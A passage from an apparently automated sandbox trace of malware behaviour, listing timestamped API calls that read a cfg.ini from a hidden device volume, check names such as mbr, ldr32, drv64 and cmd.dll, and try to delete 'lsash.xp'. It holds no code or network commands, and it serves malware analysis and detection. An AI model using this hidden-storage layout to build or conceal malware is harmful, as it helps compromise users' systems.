_Dest="0d24eb7c\\cfg.ini") returned 16 [0120.057] KeEnterCriticalRegion () [0120.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.057] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.057] IdePortDispatch () returned 0x103 [0120.057] KeWaitForMutexObject () returned 0x0 [0120.057] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.057] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.057] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.057] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.057] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.057] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6fb0 [0120.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.057] KeLeaveCriticalRegion () [0120.057] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.057] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.057] KeEnterCriticalRegion () [0120.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.057] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.057] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.057] KeLeaveCriticalRegion () [0120.057] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.057] KeEnterCriticalRegion () [0120.057] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.057] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.057] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.057] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.057] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.057] IdePortDispatch () returned 0x103 [0120.057] KeWaitForMutexObject () returned 0x0 [0120.058] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.058] KeLeaveCriticalRegion () [0120.058] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.058] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.058] KeEnterCriticalRegion () [0120.058] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.058] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c85000 [0120.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.058] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.058] IdePortDispatch () returned 0x103 [0120.058] KeWaitForMutexObject () returned 0x0 [0120.058] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.058] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.058] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.058] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.058] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.058] IdePortDispatch () returned 0x103 [0120.058] KeWaitForMutexObject () returned 0x0 [0120.058] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.058] KeLeaveCriticalRegion () [0120.059] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.059] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.059] KeEnterCriticalRegion () [0120.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.059] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.059] KeLeaveCriticalRegion () [0120.059] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.059] KeEnterCriticalRegion () [0120.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.059] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.059] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.059] KeLeaveCriticalRegion () [0120.059] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.059] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.059] KeEnterCriticalRegion () [0120.059] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.059] ExFreePoolWithTag (P=0xfffffa8003aa6fb0, Tag=0x0) [0120.059] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.059] KeLeaveCriticalRegion () [0120.059] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.059] ReleaseMutex (hMutex=0xf0) returned 1 [0120.059] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0120.059] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0120.059] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0120.060] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.060] KeEnterCriticalRegion () [0120.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.060] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.060] IdePortDispatch () returned 0x103 [0120.060] KeWaitForMutexObject () returned 0x0 [0120.060] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.060] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.060] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.060] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.060] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.060] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.060] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.060] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.060] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.060] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.060] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.060] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.060] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.060] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.060] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.060] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.060] KeLeaveCriticalRegion () [0120.060] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.060] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0120.060] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0120.060] KeEnterCriticalRegion () [0120.060] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.060] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.060] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.060] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.060] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.061] IdePortDispatch () returned 0x103 [0120.061] KeWaitForMutexObject () returned 0x0 [0120.061] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.061] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0120.061] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.061] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.061] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0120.061] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.061] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0120.061] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.061] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0120.061] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0120.061] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.061] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.061] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.061] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.061] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0120.061] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.061] KeLeaveCriticalRegion () [0120.061] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.061] ReleaseMutex (hMutex=0x100) returned 1 [0120.061] Sleep (dwMilliseconds=0x2bf20) [0120.068] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x6ac3cf30, dwHighDateTime=0x1d24fa4)) [0120.068] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0120.069] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.069] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.069] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.069] KeEnterCriticalRegion () [0120.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.069] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.069] IdePortDispatch () returned 0x103 [0120.069] KeWaitForMutexObject () returned 0x0 [0120.069] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.069] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.069] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.069] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.069] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.069] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003aa6fb0 [0120.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.069] KeLeaveCriticalRegion () [0120.069] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.069] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.069] KeEnterCriticalRegion () [0120.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.069] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.069] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.069] KeLeaveCriticalRegion () [0120.069] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.069] KeEnterCriticalRegion () [0120.069] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.069] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.069] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.069] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.069] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.069] IdePortDispatch () returned 0x103 [0120.069] KeWaitForMutexObject () returned 0x0 [0120.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.070] KeLeaveCriticalRegion () [0120.070] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.070] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.070] KeEnterCriticalRegion () [0120.070] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.070] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8c000 [0120.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.070] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.070] IdePortDispatch () returned 0x103 [0120.070] KeWaitForMutexObject () returned 0x0 [0120.070] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.070] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.070] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.070] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.070] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.070] IdePortDispatch () returned 0x103 [0120.070] KeWaitForMutexObject () returned 0x0 [0120.070] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.070] KeLeaveCriticalRegion () [0120.070] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.071] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.071] KeEnterCriticalRegion () [0120.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.071] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.071] KeLeaveCriticalRegion () [0120.071] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.071] KeEnterCriticalRegion () [0120.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.071] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.071] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcdd20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.071] KeLeaveCriticalRegion () [0120.071] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.071] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.071] KeEnterCriticalRegion () [0120.071] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.071] ExFreePoolWithTag (P=0xfffffa8003aa6fb0, Tag=0x0) [0120.071] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.071] KeLeaveCriticalRegion () [0120.071] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.071] ReleaseMutex (hMutex=0xf0) returned 1 [0120.071] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.071] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0120.072] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.072] KeEnterCriticalRegion () [0120.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.072] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0120.072] IdePortDispatch () returned 0x103 [0120.072] KeWaitForMutexObject () returned 0x0 [0120.072] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.072] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.072] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.072] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.072] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.072] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2de0 [0120.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.072] KeLeaveCriticalRegion () [0120.072] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.072] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.072] KeEnterCriticalRegion () [0120.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.072] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.072] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.072] KeLeaveCriticalRegion () [0120.072] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.072] KeEnterCriticalRegion () [0120.072] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.072] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.072] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.072] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.072] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0120.072] IdePortDispatch () returned 0x103 [0120.072] KeWaitForMutexObject () returned 0x0 [0120.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.073] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.073] KeLeaveCriticalRegion () [0120.073] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.073] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.073] KeEnterCriticalRegion () [0120.073] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.073] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8d000 [0120.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.073] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.073] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.073] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0120.073] IdePortDispatch () returned 0x103 [0120.073] KeWaitForMutexObject () returned 0x0 [0120.073] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.073] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 